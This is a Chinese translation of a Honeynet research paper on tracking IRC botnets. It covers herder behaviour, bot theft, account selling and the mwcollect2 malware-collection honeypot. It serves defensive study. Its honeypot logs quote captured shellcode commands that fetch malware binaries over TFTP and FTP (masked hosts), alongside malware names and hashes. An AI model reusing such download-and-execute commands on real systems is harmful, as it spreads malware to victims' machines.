Net-Worm.Win32.DipNet.f   1 HackTool.Win32.Xray.a   1 HackTool.Win32.FxScanner   1 Backdoor.Win32.Wootbot.ab   1 Backdoor.Win32.Wisdoor.at   1 Backdoor.Win32.Spyboter.gen   1 Backdoor.Win32.Rbot.ic   1 Backdoor.Win32.Rbot.fo   1 Backdoor.Win32.Optix.b   1 Backdoor.Win32.Agent.ds

  其它的一些binary檔案可能是廣告軟體(一種在運作是展示智語以及将使用者的使用習慣及相關資訊告訴第三方),或是代理(一種在客戶機和電腦伺服器系統之間的處理過程)抑或是浏覽器幫助插件。

  一個經常發生的事件就是有些人盜取别人的僵屍網絡。當你觀察到幾個僵屍牧者之間互相攻擊的時候,确實很有意思。正如前面所說,僵屍計算機通常是由一些敏感資訊保護的,譬如,通道名稱或是伺服器密碼。如果一個人能夠擷取這一切資訊,他就可以在另外一個僵屍網絡或是僵屍binary中更新僵屍,這樣就吧其它僵屍網絡中的僵屍拉攏過來了。譬如,不久之前,我們就觀察到12号僵屍網絡的控制者就從看似遺棄的25号僵屍網絡中盜取僵屍。

  在我們最近觀察的一個僵屍網絡中,發現異乎尋常的更新:任何事情都看起來很正常,僵屍網絡主人能夠輕易的釋出指令來下載下傳和執行新檔案。我們的客戶機drone下載下傳檔案然後加以分析,我們使用特殊昵稱,身份以及使用者資訊建立了一個客戶機。但是我們的客戶機不能通過IRC伺服器連接配接到新的通道。這一昵稱的第一個特征在IRCd軟體上沒有效用。通過這種方式,攻擊者失去了大概3000台僵屍。

  一個很有意思但是很少見到的一個現象就是僵屍牧者在僵屍通道中讨論一些問題。我們監聽了這些談話,對他們的社交生活有了更進一步的了解。我們還注意到小的shell(設定指令行解釋器的位置)主機在他的伺服器上組織了一個僵屍網絡對對手發動DDoS攻擊。這些人選擇同樣的昵稱指揮僵屍網絡,以便在另外一個IRC伺服器中給它們的shell帳号以支援。此外,還有一些僵屍網絡主人提供了關于他們自己的大量資訊,因為他們并不使用免費的或是匿名的主機來執行僵屍的更新程式。這些人的行為展示了非熟練工怎麼樣操控僵屍網絡。

  我們的研究表明,僵屍網絡的操控者實際上是一群沒有什麼程式操作技能的毛頭小子掌握的。在他們的論壇中充斥這諸如“我怎麼樣編寫*”之類的幼稚問題。這些人僵屍網絡擴充的很快,但是沒有什麼危害性。但是,也有一些進階的僵屍牧者,這些人隻是有時進入控制通道惡意。他們隻使用一個特征昵稱,釋出一次指令,然後就閃人了。他們所操盤的僵屍的更新相當專業。也許這些人将其用于商業目的并且兜售服務。他們少将僵屍網絡用于金融方面。例如,為公司安裝Browser Helper Objects(浏覽器幫助插件)來跟蹤或愚弄上網者或是點選彈出的廣告。還有一小部分的僵屍網絡牧者看起來技術很娴熟,他們剝離IRCd軟體,将其變成一個非RFC背景程式。甚至不會允許一個标準的IRC連接配接。

  另外一個可能性就是安裝特定的軟體來盜取資訊。我們發現一個有趣的執行個體,一個攻擊者從一台受威脅的計算機上偷取了Diablo 2(暗黑破壞神,一個著名遊戲的名稱,又稱恐懼)帳号然後在Ebay上出售。在Diablo 2中,你可以通過搜集強有力的項目來提高遊戲中任務的力量。它是一種線上遊戲。它所擁有的項目越多,價錢也就越高。在eBay for Diablo 2中,我們發現攻擊者可以從中大量獲利。有一些僵屍牧者向你發送電子郵件問你是否想租用僵屍網絡。他們給你提供包含有主機ip位址的SOCKS v4伺服器清單,還有代理伺服器運作的端口。還有一些僵屍網絡被用來傳播垃圾郵件:未揭秘的秘密,木馬被當作垃圾郵件機器人。你可以在一個俘獲的案例中找到攻擊者安裝軟體的例子。

進一步的研究:

  關于僵屍網絡跟蹤技術提高的一個研究就是惡意軟體的搜集。在一個名為mwcollect2的德國蜜網項目組正開展研究以期讓惡意軟體的搜集變得更加簡單和自動化。mwcollect2包含多動态連結子產品:

漏洞子產品:他們打開了一些典型的漏洞端口(135 或2745)或是根據這些端口模拟漏洞。

Shellcode分解子產品:這一模使shellcodes得到承認,通過在URL中的漏洞子產品使之被其它的子產品得到。

  最後,得到子產品來下載下傳以URL為特征的檔案。這些URL不一定非得是HTTP或FTP URL,可以是TFTP協定。

  目前mwcollect2支援不同漏洞的模拟,以下兩個例子就是軟體在實際情況中的情況。在第一個例子中,mwcollect2模拟了TCP 135端口中的漏洞,并且自動的得到了一個惡意軟體。

mwc-tritium: DCOM Shellcode starts at byte 0x0370 and is 0x01DC bytes long.   mwc-tritium: Detected generic XOR Decoder, key is 12h, code is e8h (e8h) bytes long.   mwc-tritium: Detected generic CreateProcess Shellcode: “tftp.exe -i XXX.XXX.XXX.XXX get cdaccess6.exe”   mwc-tritium: Pushed fetch request for “tftp://XXX.XXX.XXX.XXX/cdaccess6.exe”.   mwc-tritium: Finished fetching cdaccess6.exe

  在第二個執行個體中,軟體模拟了一台計算機,這台計算機可能會因為Bagle蠕蟲病毒留下的後門遭受攻擊。而這次,mwcollect2有不負衆望的擷取了這一惡意軟體。

mwc-tritium: Bagle connection from XXX.XXX.XXX.XXX:4802 (to :2745).   mwc-tritium: Bagle session with invalid auth string: 43FFFFFF303030010A2891A12BE6602F328F60151A201A00   mwc-tritium: Successful bagle session, fetch “ftp://bla:[email protected]:4847/bot.exe”.   mwc-tritium: Pushed fetch request for “ftp://bla:[email protected]:4847/bot.exe”.   mwc-tritium: Downloading of ftp://bla:[email protected]:4847/bot.exe (ftp://bla:[email protected]:4847/bot.exe) successful.   The following listings shows the effectiveness of this approach:   7x mwc-datasubm.1108825284.7ad37926 2005-02-19 16:01 CET 71de42be10d1bdff44d872696f900432   1x mwc-datasubm.1108825525.4a12d190 2005-02-19 16:05 CET e8b065b07a53af2c74732a1df1813fd4   1x mwc-datasubm.1108825848.7091609b 2005-02-19 16:10 CET 48b80b4b6ad228a7ec1518566d96e11e   2x mwc-datasubm.1108826117.20bf1135 2005-02-19 16:15 CET c95eb75f93c89695ea160831f70b2a4f   78x mwc-datasubm.1108826639.4a2da0bb 2005-02-19 16:23 CET 42cbaae8306d7bfe9bb809a5123265b9   19x mwc-datasubm.1108826844.36d259cc 2005-02-19 16:27 CET b1db6bbdfda7e4e15a406323bea129ce   3x mwc-datasubm.1108827274.77b0e14b 2005-02-19 16:34 CET fbd133e3d4ed8281e483d8079c583293   3x mwc-datasubm.1108827430.3c0bb9c9 2005-02-19 16:37 CET 7711efd693d4219dd25ec97f0b498c1f   4x mwc-datasubm.1108828105.6db0fb19 2005-02-19 16:48 CET 23fde2e9ebe5cc55ecebdbd4b8415764   29x mwc-datasubm.1108828205.11d60330 2005-02-19 16:50 CET 8982e98f4bde3fb507c17884f60dc086   2x mwc-datasubm.1108828228.500c4315 2005-02-19 16:50 CET d045f06f59ae814514ab329b93987c86   1x mwc-datasubm.1108828305.7c2a39a8 2005-02-19 16:51 CET 556779821a8c053c9cc7d23feb5dd1d4   34x mwc-datasubm.1108828311.655d01da 2005-02-19 16:51 CET de53892362a50b700c4d8eabf7dc5777   1x mwc-datasubm.1108828418.178aede3 2005-02-19 16:53 CET 2a4d822c2a37f1a62e5dd42df19ffc96   1x mwc-datasubm.1108828822.466083aa 2005-02-19 17:00 CET 2c1f92f9faed9a82ad85985c6c809030   1x mwc-datasubm.1108829309.705a683c 2005-02-19 17:08 CET be4236ffe684eb73667c78805be21fe6   11x mwc-datasubm.1108829323.4f579112 2005-02-19 17:08 CET 64cfefc817666dea7bc6f86270812438   1x mwc-datasubm.1108829553.56e1167d 2005-02-19 17:12 CET 5ab66fae6878750b78158acfb225d28f   11x mwc-datasubm.1108830012.4bbdedd9 2005-02-19 17:20 CET 05b691324c6ce7768becbdba9490ee47   1x mwc-datasubm.1108830074.1ca9565f 2005-02-19 17:21 CET e740de886cfa4e1651c3b9be019443f6   98x mwc-datasubm.1108830171.6ea1f079 2005-02-19 17:22 CET 3a0ab2b901f5a9e1023fa839f8ef3fe9   1x mwc-datasubm.1108830729.50dbf813 2005-02-19 17:32 CET f29797873a136a15a7ea19119f72fbed   1x mwc-datasubm.1108831490.3cd98651 2005-02-19 17:44 CET a8571a033629bfad167ef8b4e139ce5c   13x mwc-datasubm.1108832205.5eef6409 2005-02-19 17:56 CET d202563db64f0be026dd6ba900474c64

  在一個撥号網絡中的傳感器的幫助下,我們在兩個小時的内就在其中得到了324個binaries,屬于24個不同的類别。這24個惡意軟體在md5sum的幫助下計算,md5sum是用來計算和檢查MD5資訊摘要的。

  使用mwcollect2的一個最大的優勢是可以正确穩定的搜集僵屍。僵屍試着入侵位于Windows 2000蜜罐,使用了shellcode,包含有jmp ebx 的Windows XP顯然會使服務崩潰。在大多數情況下,蜜罐将被迫重新開機。與此相對,mwcollect2也可能遭到所有這些工具的攻擊,是以通過這種方式就可以擷取大量的binaries。此外,mwcollect2的部署也很簡單,隻要一個人釋出指令就可以開始搜集工作了(你可能想改變配置)。但是這種擷取binaries的方法的負面結果就是你要通過人工的方法分析。擁有snort_inline的蜜網背後的蜜罐可以過濾相關的流量,甚至能夠在受到威脅之後自動重建一個嗅探drone。

結論

  這一論文中,我們試着闡述蜜網技術怎麼樣幫我們更好的了解僵屍網絡的工作,它們的威脅,攻擊者怎麼樣控制它們。研究表明,一些攻擊者技術娴熟,組織嚴密,屬于有嚴密組織機構的犯罪。通過操控數以千計的僵屍計算機,它們可以在短時間内将任何一個網站或是網絡拖垮。甚至一個生手,很明顯,僵屍網絡是強有力的武器。因為僵屍網絡的威脅是如此大,我們需要不同的機制來解釋它。

  像Akamai一樣的分散提供者提供了大量的可能性,但是大型的僵屍網絡甚至會對之造成嚴重的威脅。使用Akamai會對大型組織和公司造成很大的壓力,對特定的組織和機構來說,這是具有很高價值的目标。我們現在還不清楚僵屍網絡的使用是否對政府或是軍事機構的網絡造成威脅,但是時間将證明一切。

  不久的将來,我們希望開發更先進的蜜罐,來幫助我們搜集關于僵屍網絡威脅的資訊。例子包含客戶機蜜罐,它會積極的參與網絡之中(例如,浏覽網絡,停頓IRC通道,或是使用P2P網絡),或是修正蜜罐,以便它們可以搜集惡意軟體并且将之發送到安全廠商進行更進一步的分析。因為我們目前的方法主要是集中于使用C&C的IRC僵屍,我們文章的目的讨論的也是IRC為基礎的僵屍。我們也主要到了其它類型的僵屍,但是它們的數量很少,并且正在發展之中。在接下來的幾個月或是幾年之内,将會出現更多的使用非IRC C&C的僵屍分散于p2p通信中。是以在這一領域中的研究是必須的,攻擊者不會止步的。因為攻擊的威脅和形式日新月異,作為安全機構,我們有必要趕快行動,承擔起責任!

釋出者:全棧程式員棧長,轉載請注明出處:https://javaforall.cn/161403.html原文連結:https://javaforall.cn